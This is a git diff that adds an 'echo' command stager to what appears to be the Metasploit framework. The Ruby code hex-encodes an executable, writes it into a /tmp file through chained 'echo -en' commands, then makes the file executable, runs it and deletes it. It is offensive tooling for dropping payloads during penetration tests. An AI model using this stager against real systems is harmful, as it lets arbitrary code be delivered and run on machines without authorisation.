diff --git a/lib/msf/core/exploit/cmdstager_echo.rb b/lib/msf/core/exploit/cmdstager_echo.rb new file mode 100644 index 0000000000..5222db3a98 --- /dev/null +++ b/lib/msf/core/exploit/cmdstager_echo.rb @@ -0,0 +1,21 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/cmdstager' + +module Msf + +### +# +# This mixin provides an interface for staging cmd to arbitrary payloads +# +### +module Exploit::CmdStagerEcho + + include Msf::Exploit::CmdStager + + def create_stager(exe) + Rex::Exploitation::CmdStagerEcho.new(exe) + end +end + +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 069adb32ed..810f87492e 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -25,6 +25,7 @@ require 'msf/core/exploit/cmdstager_debug_write' require 'msf/core/exploit/cmdstager_debug_asm' require 'msf/core/exploit/cmdstager_tftp' require 'msf/core/exploit/cmdstager_bourne' +require 'msf/core/exploit/cmdstager_echo' # Protocol require 'msf/core/exploit/tcp' diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index 958bcb98ef..79609ea14f 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -6,3 +6,4 @@ require 'rex/exploitation/cmdstager/debug_write' require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/tftp' require 'rex/exploitation/cmdstager/bourne' +require 'rex/exploitation/cmdstager/echo' diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb new file mode 100644 index 0000000000..55583a0084 --- /dev/null +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -0,0 +1,116 @@ +# -*- coding: binary -*- + +require 'rex/text' +require 'rex/arch' +require 'msf/core/framework' + +module Rex +module Exploitation + +class CmdStagerEcho < CmdStagerBase + + def initialize(exe) + super + + @var_elf = Rex::Text.rand_text_alpha(5) + end + + # + # Override to ensure opts[:temp] is a correct *nix path + # + def generate(opts = {}) + opts[:temp] = opts[:temp] || '/tmp/' + opts[:temp].gsub!(/\\/, "/") + opts[:temp].gsub!(/'/, "\\\\'") + opts[:temp].gsub!(/ /, "\\ ") + opts[:temp] << '/' if opts[:temp][-1,1] != '/' + super + end + + # + # Override to set the extra byte count + # + def generate_cmds(opts) + # Set the start/end of the commands here (vs initialize) so we have @tempdir + @cmd_start = "echo -en " + @cmd_end = ">>#{@tempdir}#{@var_elf}" + xtra_len = @cmd_start.length + @cmd_end.length + 1 + opts.merge!({ :extra => xtra_len }) + super + end + + + # + # Encode into a "\\x55\\xAA" hex format that echo understands, where + # interpretation of backslash escapes are enabled + # + def encode_payload(opts) + return Rex::Text.to_hex(@exe, "\\\\x") + end + + + # + # Combine the parts of the encoded file with the stuff that goes + # before ("echo -en ") / after (">>file") it. + # + def parts_to_commands(parts, opts) + cmds = [] + parts.each do |p| + cmd = '' + cmd << @cmd_start + cmd << p + cmd << @cmd_end + cmds << cmd + end + + cmds + end + + # + # Since the binary has been already dropped to fs, just execute and + # delete it + # + def generate_cmds_decoder(opts) + cmds = [] + # Make it all happen + cmds << "chmod +x #{@tempdir}#{@var_elf}" + cmds << "#{@tempdir}#{@var_elf}" + + # Clean up after unless requested not to.. + if (not opts[:nodelete]) + cmds << "rm -f #{@tempdir}#{@var_elf}" + end + + return cmds + end + + # + # Override it to ensure that the hex representation of a byte isn't cut + # + def slice_up_payload(encoded, opts) + tmp = encoded.dup + + parts = [] + xtra_len = opts[:extra] + xtra_len ||= 0 + while (tmp.length > 0) + temp = tmp.slice(0, (opts[:linemax] - xtra_len)) + # cut the end of the part until we reach the start + # of a full byte representation "\\xYZ" + while temp[-5, 3] != "\\\\x" + temp.chop! + end + parts << temp + tmp.slice!(0, temp.length) + end + + parts + end + + def cmd_concat_operator + " ; " + end + +end +end +end